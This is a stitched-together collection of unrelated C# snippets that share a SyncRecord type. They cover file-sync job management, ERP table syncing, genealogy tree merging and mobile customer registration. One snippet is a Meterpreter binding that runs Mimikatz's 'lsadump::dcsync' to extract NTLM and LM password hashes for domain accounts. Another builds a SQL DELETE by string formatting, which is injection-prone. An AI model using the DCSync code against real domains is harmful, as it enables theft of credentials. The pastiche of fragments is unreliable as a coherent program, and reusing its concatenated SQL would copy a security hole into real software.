/// <summary> /// load recent sync jobs /// </summary> internal void loadSyncRecords() { try { List <SyncRecord> syncRecords = SyncRecord.LoadRecentSyncJobs(this.jobsDbPath); this.SyncHistoryListBox.Items.Clear(); this.syncRecordDict.Clear(); int index = 0; foreach (SyncRecord record in syncRecords) { ListBoxItem listBoxItem = new ListBoxItem(); Style ctlStyle = Application.Current.TryFindResource("jobListItemResource") as Style; listBoxItem.DataContext = record; listBoxItem.Style = ctlStyle; listBoxItem.MouseDoubleClick += listBoxItem_MouseDoubleClick; listBoxItem.MouseRightButtonUp += listBoxItem_MouseRightButtonUp; this.syncRecordDict.Add(listBoxItem, record.SyncJobId); this.SyncHistoryListBox.Items.Add(listBoxItem); index += 1; } } catch (Exception ex) { Log.Error("load recent sync jobs failed, " + ex.Message); } }
void exportJobLogMenuItem_Click(object sender, RoutedEventArgs e) { object selectedItem = this.SyncHistoryListBox.SelectedItem; if (selectedItem != null) { string jobId = this.syncRecordDict[(ListBoxItem)selectedItem]; SyncSetting syncSetting = SyncRecord.LoadSyncSettingByJobId(jobId); if (syncSetting != null) { System.Windows.Forms.SaveFileDialog dlg = new System.Windows.Forms.SaveFileDialog(); dlg.Title = "选择保存文件"; dlg.Filter = "Log (*.log)|*.log"; System.Windows.Forms.DialogResult dr = dlg.ShowDialog(); if (dr.Equals(System.Windows.Forms.DialogResult.OK)) { string logSaveFilePath = dlg.FileName; LogExporter.exportLog( Path.Combine(this.myAppPath, "logs", jobId, "success.log"), Path.Combine(this.myAppPath, "logs", jobId, "error.log"), Path.Combine(this.myAppPath, "logs", jobId, "skipped.log"), Path.Combine(this.myAppPath, "logs", jobId, "exists.log"), Path.Combine(this.myAppPath, "logs", jobId, "not_overwrite.log"), Path.Combine(this.myAppPath, "logs", jobId, "overwrite.log"), logSaveFilePath); } } } }
// Todo [Test] Test completely broken ILocationServiceListener not bound to real implementatio, cannot be resolved public async Task SaveCustomerTest() { Customer customer = new Customer { Id = Guid.NewGuid() , Channel = DataChannel.Fallback , DsrPhone = "0721553229" , FirstName = "Jake" , LastName = "Roberts" , NationalId = "22932568" , Phone = "0722456789" , UserId = Guid.NewGuid() }; SaveResponse <Customer> saveResponse = await new CustomersController().SaveAsync(customer); SyncRecord syncRecord = await new SyncingController().GetSyncRecordAsync(saveResponse.SavedModel.RequestId); Assert.NotNull(syncRecord, "No sync record found"); }
private void createOptionalDB() { //check jobs db if (!File.Exists(this.jobsDbPath)) { try { SyncRecord.CreateSyncRecordDB(this.jobsDbPath); } catch (Exception ex) { Log.Error(string.Format("create sync record db for job {0} failed due to {1}", this.jobId, ex.Message)); } } else { DateTime syncDateTime = DateTime.Now; try { SyncRecord.InsertRecord(this.jobId, syncDateTime, this.syncSetting, this.jobsDbPath); } catch (Exception ex) { Log.Error(string.Format("record sync job failed for job {0} due to {1}", this.jobId, ex.Message)); } } if (!File.Exists(this.localHashDBPath)) { try { CachedHash.CreateCachedHashDB(this.localHashDBPath); } catch (Exception ex) { Log.Error("create cached hash db failed, " + ex.Message); } } if (!File.Exists(this.syncLogDBPath)) { try { SyncLog.CreateSyncLogDB(this.syncLogDBPath); } catch (Exception ex) { Log.Error(string.Format("create sync log db for job {0} failed due to {1}", this.jobId, ex.Message)); } } }
// [Test] Todo test throws exception Cannot perform this test when a connection is avaliable public async Task SaveProspectOffline() { if (Resolver.Instance.Get <IConnectivityService>().HasConnection()) { throw new Exception("Cannot perform this test when a connection is avaliable"); } const string phone = "0784159756"; int saveResult = await DeleteProspectIfExists(phone); "results of deletion were ~".WriteLine(saveResult.ToString()); if (saveResult == 1 || saveResult == 0) { "we deleted successfully".WriteLine(); SaveResponse <Prospect> prospectResponse = await Resolver.Instance.Get <ProspectsController>().SaveAsync ( new Prospect { Authority = true , DsrPhone = phone , LastName = "Mathenge" , FirstName = "Thomas" , Money = true , Need = true , Phone = phone } ); Logger.Debug("Already out of save async"); Assert.AreNotSame(prospectResponse.SavedModel.Id, default(Guid)); SyncRecord syncRecord = await Resolver.Instance.GetInstance <SyncingController>() .GetSyncRecordAsync(prospectResponse.SavedModel.RequestId); Assert.True(syncRecord.Status == RecordStatus.Pending, "Status should not be equal to " + syncRecord.Status.ToString()); } else { throw new Exception("Could not delete prospect"); } }
private void listBoxItem_MouseDoubleClick(object sender, MouseButtonEventArgs e) { object selectedItem = this.SyncHistoryListBox.SelectedItem; if (selectedItem != null) { string jobId = this.syncRecordDict[(ListBoxItem)selectedItem]; SyncSetting syncSetting = SyncRecord.LoadSyncSettingByJobId(jobId); if (syncSetting != null) { this.mainWindow.GotoSyncSettingPage(syncSetting); } else { Log.Error("load sync setting by id failed, " + jobId); } } }
/// <summary> /// quick start page loaded event handler /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void QuickStartPageLoaded_EventHandler(object sender, RoutedEventArgs e) { if (!File.Exists(this.jobsDbPath)) { try { SyncRecord.CreateSyncRecordDB(this.jobsDbPath); } catch (Exception ex) { Log.Fatal("create sync db failed, " + ex.Message); } } else { this.loadSyncRecords(); } this.checkAccountSetting(); }
public override async void Execute(DateTime args) { try { //查询最后同步的记录 var query = await syncRepository.GetAll().ToListAsync(); var lastSync = query.SingleOrDefault(p => p.TableName == this.JobName); //最后更新行版本,此值是由金蝶数据库维护,每次插入或更新时都会更新此值,所以取最大值就是最新的记录 var maxRowVersion = await tSRepository.GetAll().MaxAsync(p => p.FRowVersion); //如果没有同步记录则进行全表分页同步 if (lastSync == null) { lastSync = new SyncRecord() { TableName = JobName, LastSyncTime = DateTime.Now, MaxRowVersion = maxRowVersion }; //记录同步时间 await SyncByPaging(); await syncRepository.InsertAsync(lastSync); } else { //修改最后同步时间 lastSync.LastSyncTime = DateTime.Now; lastSync.MaxRowVersion = maxRowVersion; await syncRepository.UpdateAsync(lastSync); await AppendSync(lastSync); } } catch (Exception e) { Console.WriteLine(e); throw; } }
//追加同步 private async Task <int> AppendSync(SyncRecord record) { //查出自上次同步后更新的物料记录 var data = await tSRepository.GetAll().Where(p => p.FRowVersion >= record.MaxRowVersion).ToListAsync(); //最后更新行版本,此值是由金蝶数据库维护,每次插入或更新时都会更新此值,所以取最大值就是最新的记录 var maxRowVersion = await tSRepository.GetAll().MaxAsync(p => p.FRowVersion); if (data.Count > 0) { foreach (var item in data) { var entity = item.MapTo <ICItem_Sync>(); await tDRepository.InsertOrUpdateAsync(entity); } } record.MaxRowVersion = maxRowVersion; await syncRepository.UpdateAsync(record); return(data.Count); }
public static void TreeSync(GDMTree mainTree, string fileName, TextBox logText) { logText.Clear(); GDMTree extTree = new GDMTree(); GDMXRefReplacer repMap = new GDMXRefReplacer(); ExtList <SyncRecord> syncList = new ExtList <SyncRecord>(true); try { var gedcomProvider = new GEDCOMProvider(extTree); gedcomProvider.LoadFromFile(fileName); extTree.Header.Clear(); for (int i = 0, num = extTree.RecordsCount; i < num; i++) { GDMRecord rec = extTree[i]; syncList.Add(new SyncRecord { MasterRecord = null, UpdateRecord = rec, State = SyncState.ssUndefined, UpdateOldXRef = "", UpdateNewXRef = "" }); } for (int i = 0, num = syncList.Count; i < num; i++) { SyncRecord syncRec = syncList[i]; GDMRecord rec = mainTree.FindUID(syncRec.UpdateRecord.UID); if (rec != null) { syncRec.MasterRecord = rec; syncRec.State = SyncState.ssHasMaster; } else { syncRec.State = SyncState.ssNoMaster; rec = extTree.Extract(extTree.IndexOf(syncRec.UpdateRecord)); string newXRef = mainTree.XRefIndex_NewXRef(rec); repMap.AddXRef(rec, rec.XRef, newXRef); rec.XRef = newXRef; rec.ResetOwner(mainTree); mainTree.AddRecord(rec); } } for (int i = 0, num = repMap.Count; i < num; i++) { GDMRecord rec = repMap[i].Rec; rec.ReplaceXRefs(repMap); } for (int i = 0, num = extTree.RecordsCount; i < num; i++) { GDMRecord rec = extTree[i]; rec.ReplaceXRefs(repMap); } for (int i = 0, num = syncList.Count; i < num; i++) { SyncRecord syncRec = syncList[i]; if (syncRec.State == SyncState.ssHasMaster) { GDMRecord rec = extTree.Extract(extTree.IndexOf(syncRec.UpdateRecord)); rec.XRef = mainTree.XRefIndex_NewXRef(rec); rec.ResetOwner(mainTree); mainTree.AddRecord(rec); string backUID = syncRec.MasterRecord.UID; syncRec.UpdateRecord.MoveTo(syncRec.MasterRecord, true); syncRec.MasterRecord.UID = backUID; mainTree.DeleteRecord(rec); } } logText.AppendText("Sync finished\r\n"); } finally { syncList.Dispose(); repMap.Dispose(); extTree.Dispose(); } }
public HashReceivedEventArgs(SyncRecord record) { Record = record; }
public static SyncRecord DcSync(string username, string domainController = null, string domainFQDN = null) { if (User.IsSystem()) { throw new InvalidOperationException("Current session is running as SYSTEM, dcsync won't work."); } System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNC] User is not running as SYSTEM."); if (string.IsNullOrEmpty(username) || !username.Contains("\\")) { throw new ArgumentException("Username must be specified in the format 'DOMAIN\\username'."); } Tlv tlv = new Tlv(); var command = string.Format("lsadump::dcsync /user:{0}", username); if (!string.IsNullOrEmpty(domainController)) { command = string.Format("{0} /dc:{1}", command, domainController); } if (!string.IsNullOrEmpty(domainFQDN)) { command = string.Format("{0} /domain:{1}", command, domainFQDN); } // Mustn't forget to wrap this in a string so it's considered a single command command = string.Format("\"{0}\"", command); System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNC] Command execution will contain: " + command); tlv.Pack(TlvType.KiwiCmd, command); System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNC] Invoking kiwi_exec_cmd"); var result = Core.InvokeMeterpreterBinding(true, tlv.ToRequest("kiwi_exec_cmd")); System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNC] Invoked kiwi_exec_cmd"); if (result != null) { System.Diagnostics.Debug.Write("[PSH BINDING] Result returned, kiwi is probably loaded"); var responseTlv = Tlv.FromResponse(result); System.Diagnostics.Debug.Write(string.Format("[PSH BINDING] DcSync response came back with {0} results", responseTlv.Count)); System.Diagnostics.Debug.Write(string.Format("[PSH BINDING] DcSync response should contain a value for {0} {1}", TlvType.KiwiCmdResult, (int)TlvType.KiwiCmdResult)); foreach (var k in responseTlv.Keys) { System.Diagnostics.Debug.Write(string.Format("[PSH BINDING] DcSync response contains key: {0} ({1})", k, (int)k)); } if (responseTlv[TlvType.Result].Count > 0 && (int)responseTlv[TlvType.Result][0] == 0 && responseTlv[TlvType.KiwiCmdResult].Count > 0 && responseTlv[TlvType.KiwiCmdResult][0].ToString().Length > 0) { System.Diagnostics.Debug.Write("[PSH BINDING] DcSync returned with some data"); var resultString = responseTlv[TlvType.KiwiCmdResult][0].ToString(); var record = new SyncRecord { Account = username }; var elementsFound = 0; foreach (var line in resultString.Split('\n')) { var stripped = line.Trim(); if (stripped.StartsWith("Hash NTLM: ")) { var parts = stripped.Split(' '); record.NtlmHash = parts[parts.Length - 1]; elementsFound++; } else if (stripped.StartsWith("lm - 0: ")) { var parts = stripped.Split(' '); record.LmHash = parts[parts.Length - 1]; elementsFound++; } else if (stripped.StartsWith("Object Security ID")) { var parts = stripped.Split(' '); record.SID = parts[parts.Length - 1]; elementsFound++; } else if (stripped.StartsWith("Object Relative ID")) { var parts = stripped.Split(' '); record.RID = parts[parts.Length - 1]; elementsFound++; } if (elementsFound > 3) { break; } } return(record); } } System.Diagnostics.Debug.Write("[PSH BINDING] No result returned, kiwi is probably not loaded"); throw new InvalidOperationException("Kiwi extension not loaded."); }
void deleteJobMenuItem_Click(object sender, RoutedEventArgs e) { object selectedItem = this.SyncHistoryListBox.SelectedItem; if (selectedItem != null) { string jobId = this.syncRecordDict[(ListBoxItem)selectedItem]; SyncSetting syncSetting = SyncRecord.LoadSyncSettingByJobId(jobId); if (syncSetting != null) { MessageBoxResult mbr = MessageBox.Show( string.Format("确认删除同步任务 {0} -> {1} 么?", syncSetting.LocalDirectory, syncSetting.TargetBucket), "删除任务", MessageBoxButton.YesNo, MessageBoxImage.Question); if (mbr.Equals(MessageBoxResult.Yes)) { //delete job related files string[] filesToDelete = { Path.Combine(this.myAppPath, "logs", jobId, "error.log"), Path.Combine(this.myAppPath, "logs", jobId, "exists.log"), Path.Combine(this.myAppPath, "logs", jobId, "not_overwrite.log"), Path.Combine(this.myAppPath, "logs", jobId, "overwrite.log"), Path.Combine(this.myAppPath, "logs", jobId, "skipped.log"), Path.Combine(this.myAppPath, "logs", jobId, "success.log"), Path.Combine(this.myAppPath, "synclog", jobId + ".log.db"), Path.Combine(this.myAppPath, "dircache", jobId + ".done") }; foreach (string path in filesToDelete) { try { File.Delete(path); } catch (Exception ex) { Log.Error(string.Format("delete file {0} failed due to {1}", path, ex.Message)); } } string[] foldersToDelete = { Path.Combine(this.myAppPath, "logs", jobId) }; foreach (string path in foldersToDelete) { try { Directory.Delete(path); } catch (Exception ex) { Log.Error(string.Format("delete folder {0} failed due to {1}", path, ex.Message)); } } try { SyncRecord.DeleteSyncJobById(jobId, this.jobsDbPath); } catch (Exception ex) { Log.Error("delete sync job by id error, " + ex.Message); } this.SyncHistoryListBox.Items.Remove(selectedItem); this.syncRecordDict.Remove((ListBoxItem)selectedItem); } } else { Log.Error("load sync setting by id failed, " + jobId); } } }
/// <summary> /// Saves customer status and if necessary the related product. /// If the status details for the product already exist, they are deleted /// </summary> /// <param name="status">The status as supplied by the server</param> /// <param name="customer">The customer</param> /// <param name="connTran">The connection object for wrapping db calls in a transaction</param> /// <returns>A list of all saved items or null if the status was null</returns> /// <exception cref="NotSavedException">NotSavedException is thrown if even one item could not be saved</exception> public async Task <List <CustomerRegistrationStepsStatus> > SaveAsync(SQLiteConnection connTran, CustomerStatus status, Customer customer) { if (status == null || status.CustomerNotFound.IsBlank() == false) { return(null); } if (status.CustomerProduct.IsBlank()) { status.CustomerProduct = "Product III"; } CriteriaBuilder criteriaBuilder = new CriteriaBuilder(); criteriaBuilder.Add("DisplayName", status.CustomerProduct); string query = this.ProductsController.QueryBuilder(criteriaBuilder); List <Product> products = await this.ProductsController.SelectQueryAsync(query); Product product = null; if (products != null) { product = products.OrderByDescending(prod => prod.Modified).FirstOrDefault(); } List <CustomerRegistrationStepsStatus> resultList = new List <CustomerRegistrationStepsStatus>(); if (product == null) { product = new Product { DisplayName = status.CustomerProduct }; await this.ProductsController.SaveAsync(connTran, product); } else { string sql = string.Format( "Delete from CustomerRegistrationStepsStatus where ProductId='{0}' and CustomerId='{1}'", product.Id, customer.Id); await DataAccess.Instance.RunQueryAsync(sql); } if (status.Steps != null) { foreach (var step in status.Steps) { CustomerRegistrationStepsStatus registrationStepsStatus = new CustomerRegistrationStepsStatus { CustomerId = customer.Id, ProductId = product.Id, RequestStatus = status.RequestStatus, StepName = step.StepName, StepNumber = step.StepNumber, StepStatus = step.StepStatus, AdditionalInfo = status.AdditionalInfo }; var saveResponse = await base.SaveAsync(connTran, registrationStepsStatus); if (saveResponse.SavedModel != null) { resultList.Add(saveResponse.SavedModel); } else { throw new NotSavedException(); } } } SyncingController syncingController = new SyncingController(); SyncRecord syncRecord = await syncingController.GetSyncRecordAsync(customer.RequestId); if (syncRecord != null) { syncRecord.Status = RecordStatus.Synced; await syncingController.SaveAsync(connTran, syncRecord); } return(resultList); }
public async Task <Customer> SaveCustomerToDevice( Customer personRegistrationInfo, CustomerRegistrationCompletedEventArgs e, bool b) { ProspectsController prospectsController = new ProspectsController(); try { Prospect prospect = await prospectsController .GetByPhoneNumberAsync(personRegistrationInfo.Phone, false); this.Logger.Debug("Trying to save customer"); // check whether the customer is on the device, if not save the customer Customer existingCustomer = await this.GetSingleRecord(new CriteriaBuilder().Add("Phone", personRegistrationInfo.Phone)); if (existingCustomer != null) { personRegistrationInfo.Id = existingCustomer.Id; } await DataAccess.Instance.Connection.RunInTransactionAsync( async connTran => { DataAccess.Instance.StartTransaction(connTran); await this.SaveAsync(connTran, personRegistrationInfo); if (personRegistrationInfo.Id != default(Guid)) { await new CustomerProductController().SaveCustomerProductToDevice( connTran, personRegistrationInfo.Id, personRegistrationInfo.Product); if (prospect != null) { this.Logger.Debug("There was a prospect with the same number so we convert to customer"); prospect.Converted = true; await prospectsController.SaveAsync(connTran, prospect); } RecordStatus syncStatus = RecordStatus.Synced; if (personRegistrationInfo.Channel == DataChannel.Fallback) { if (e.Succeeded) { syncStatus = RecordStatus.FallbackSent; this.Logger.Debug("Status = " + syncStatus); } else { syncStatus = RecordStatus.Pending; this.Logger.Debug("Status = " + syncStatus); } } SyncingController syncController = new SyncingController(); SyncRecord syncRec = await syncController.GetSyncRecordAsync(personRegistrationInfo.RequestId); this.Logger.Debug("Fetching sync record for customer"); if (syncRec == null) { this.Logger.Debug("The sync record is null so we generate one"); syncRec = new SyncRecord { ModelId = personRegistrationInfo.Id, ModelType = personRegistrationInfo.TableName, Status = syncStatus, RequestId = personRegistrationInfo.RequestId }; } else { syncRec.Status = syncStatus; } await syncController.SaveAsync(connTran, syncRec); } }); DataAccess.Instance.CommitTransaction(); return(personRegistrationInfo); } catch (DuplicateValuesException ex) { throw new DuplicateValuesException(ex.FieldName, ex.Value, ex.Count); } catch (Exception exception) { this.Logger.Error(exception); return(null); } }
/// <summary> /// Called to save a customer to the device /// </summary> /// <param name="e">The event arguments</param> /// <param name="smsSendAttempts">Number of attempts</param> /// <param name="smsAttemptLimit">The Limit</param> /// <returns>An empty task</returns> private async Task SaveCustomerToDevice(CustomerService.RegistrationStatusChangedEventArgs e, int smsSendAttempts, int smsAttemptLimit) { bool succeeded = e.SmsRegistrationSucceeded || e.Response.RegistrationSuccessful; if (!succeeded) { this.Logger.Debug(string.Format("Sms send attempts = {0} and sms send limts = {1}", smsSendAttempts, smsAttemptLimit)); succeeded = e.Channel == DataChannel.Fallback && smsAttemptLimit == smsSendAttempts; if (!succeeded) { return; } } this.Logger.Debug("Attempting to save customer to device"); if (e.Response == null || e.Response.Customer == null) { return; } ProspectsController prospectsController = new ProspectsController(); Mkopa.Core.BL.Models.People.Prospect prospect = await prospectsController .GetByPhoneNumberAsync(e.Response.Customer.Phone); await Resolver.Instance.Get <ISQLiteDB>().Connection.RunInTransactionAsync( async(SQLiteConnection connTran) => { try { this.Logger.Debug("Trying to save customer"); CustomersController customersController = new CustomersController(); e.Response.Customer.Channel = e.Channel; string customerPhone = e.Response.Customer.Phone; Guid custGuid; Mkopa.Core.BL.Models.People.Customer customer = await customersController.GetSingleByCriteria(CriteriaBuilder.New() .Add("Phone", customerPhone)); // customer to have more than one product if (customer == null || customer.Id == default(Guid)) { SaveResponse <Mkopa.Core.BL.Models.People.Customer> saveResponse = await customersController.SaveAsync(connTran, e.Response.Customer, true); if (saveResponse.SavedModel == null || saveResponse.SavedModel.Id == default(Guid)) { new ReusableScreens(this.Activity) .ShowInfo( Resource.String.customer_save_err_actionbar, Resource.String.customer_save_err_title, Resource.String.customer_save_err_message, Resource.String.customer_save_err_button); return; } custGuid = saveResponse.SavedModel.Id; } else { custGuid = customer.Id; } await this.SaveCustomerProductToDevice(custGuid, connTran); if (prospect != null) { this.Logger.Debug("There was a prospect with the same number so we convert to customer"); prospect.Converted = true; await prospectsController.SaveAsync(connTran, prospect); } RecordStatus syncStatus = e.Channel == DataChannel.Fallback ? (e.SmsRegistrationSucceeded ? RecordStatus.FallbackSent : RecordStatus.Pending) : RecordStatus.Synced; SyncingController syncController = new SyncingController(); SyncRecord syncRec = await syncController.GetSyncRecordAsync(e.Response.Customer.RequestId); this.Logger.Debug("Fetching sync record for customer"); if (syncRec == null) { this.Logger.Debug("The sync record is null so we generate one"); syncRec = new SyncRecord { ModelId = e.Response.Customer.Id, ModelType = e.Response.Customer.TableName, Status = syncStatus, RequestId = e.Response.Customer.RequestId }; this.Logger.Debug("Saving generated sync record"); SaveResponse <SyncRecord> syncSaveResponse = await syncController.SaveAsync( connTran, syncRec); this.Logger.Debug("Sync record was saved correctly"); } else { syncRec.Status = syncStatus; } await syncController.SaveAsync(connTran, syncRec); } catch (Exception exception) { this.Logger.Error(exception); } }); }